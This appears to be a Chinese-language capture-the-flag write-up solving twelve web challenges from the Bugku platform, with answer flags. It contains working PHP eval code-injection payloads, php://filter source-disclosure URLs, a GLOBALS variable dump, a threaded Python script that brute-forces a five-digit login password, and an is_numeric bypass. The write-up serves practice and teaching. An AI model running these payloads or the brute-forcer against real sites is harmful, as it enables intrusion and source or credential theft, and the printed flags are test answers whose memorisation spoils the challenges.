Web1 文件包含
打开看到源码
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
eval() 函数存在命令执行漏洞,构造出文件包含会把字符串参数当做代码来执行。
file() 函数把整个文件读入一个数组中,并将文件作为一个数组返回。
print_r() 函数只用于输出数组。
var_dump() 函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
hello=file(“flag.php”),最终会得到var_dump(file(“flag.php”)),以数组形式输出文件内容。
include()函数和php://input,php://filter结合很好用,php://filter可以用与读取文件源代码,结果是源代码base64编码后的结果。
php://filter/convert.base64-encode/resource=文件路径(如index.php)
搜了一下@$_REQUEST 的意思是获得参数,不论是@$_GET还是@$_POST可以得到的参数@$_REQUEST都能得到。
所以构造hello的get参数。
$a应该最后会像字符串替换一样替换成hello的参数值吧。
payload:
<1> hello=);print_r(file("flag.php")
<2> hello=);var_dump(file("flag.php")
<3> hello=file("flag.php")
<4> hello=);include(@$_POST['b']
在POST区域:b=php://filter/convert.base64-encode/resource=flag.php
<5> hello=);include("php://filter/convert.base64-encode/resource=flag.php"
<6> hello=1);show_source('flag.php');var_dump(
flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}
Web2 爆破
提示5位数字密码
用bs抓包爆破
可以用Burp爆破
或者用python3的脚本
import requests
import threading
psw = 0
lock = threading.RLock()
gotit = False
correct = ""
class BreakThread(threading.Thread):
def run(self):
global psw, gotit, correct
while True:
lock.acquire()
if psw > 99999 or gotit:
lock.release()
break
d = {
"pwd": str(psw).zfill(5)
}
psw = psw + 1
lock.release()
r = requests.post("http://xxxxx/baopo/?yes", data=d)
r.encoding = "utf-8"
try:
r.text.index("密码不正确")
except ValueError:
print(d["pwd"] + " right")
gotit = True
lock.acquire()
correct = d["pwd"]
lock.release()
break
else:
print(d["pwd"] + " wrong")
l = []
for i in range(2):
l.append(BreakThread())
for i in l:
i.start()
for i in l:
i.join()
print("正确密码:"+correct)
得出:
flag{bugku-baopo-hah}
Web3 变量1
打开看到源码
flag In the variable !
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
又是代码审计...
首先简单看了一下 没有发现什么有用的信息,之后注意到最后一行的eval("var_dump($ $args);"); 注意了这地方有两个$ $
看到这里大家应该就懂了 所以我们只需给变量传一个全局数组变量就好了 所以我们构造 ?args=GLOBALS加到网页后面
http://192.168.1.101:1022?args=GLOBALS
便可得到FLAG
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }
flag{92853051ab894a64f7865cf3c2128b34}
Web4 filter漏洞
php://filter
解释:php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include;
用法:?file=php://filter/convert.base64-encode/resource=xxx.php
?file=php://filter/read=convert.base64-encode/resource=xxx.php 一样
基本上原理就是利用php://filter在执行index.php之前将其内容用base64编码,这样就掩盖了
payload:?file=php://filter/read=convert.base64-encode/resource=./index.php
构造
http://192.168.1.101:1023/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
base64转码后
error_reporting(0);
if(!$_GET[file]){echo 'click me? no';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag{edulcni_elif_lacol_si_siht}
?>
flag{edulcni_elif_lacol_si_siht}
Web5 get方法
构造
http://192.168.1.101:1024/?what=flag
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
flagflag{bugku_get_su8kej2en}
flag{bugku_get_su8kej2en}
Web6 post方法
构造http://192.168.1.101:1025
post提交what=flag
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
flagflag{bugku_get_ssseint67se}
flag{bugku_get_ssseint67se}
Web7 jsfuck编码
ctrl+u查看源码,复制出加密字符串,输入f12控制台回车
ctf{whatfk}
Web8 is_numeric
即num既不能是数字字符,但是要等于1
我们可以想到用科学计数法表示数字1,既不是纯数字,其值又等于1
因此,构造payload
num=1a
可以得到flag
http://192.168.1.101:1027/?num=1a
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
1aflag{bugku-789-ps-ssdf}
flag{bugku-789-ps-ssdf}
Web9 html实体编码
查看源码
去掉注释符保存为1.html文件,浏览器打开即可转码
KEY{J2sa42ahJK-HS11III}
Web10 url编码
查看源码url编码解码
在这里我们发现了有个js它定义了两个变量并采用eval函数算一些什么东西
不过很明显两个变量都是url编码 我们解密下可以得到
p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b
p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").οnsubmit=checkSubmit;
然后我们分析
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
里面还有一段url编码 老规矩解密下得到54aa2
于是我们把三次的结果拼装起来得到p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").οnsubmit=checkSubmit;
然后便得到值67d709b2b54aa2aa648cf6e87a7114f1放入输入框即可获得flag
KEY{J22JK-HS11}
Web11 修改静态html
直接输入发现只能输入一位数
审查元素让maxlength = 2就好了
flag{CTF-bugku-0032}
Web12 页面快速刷新
右键查看源代码 然后一直刷新 直到出来flag
也可以用burp抓包
repeat一直发送
随机出现当出现10.jpg时有flag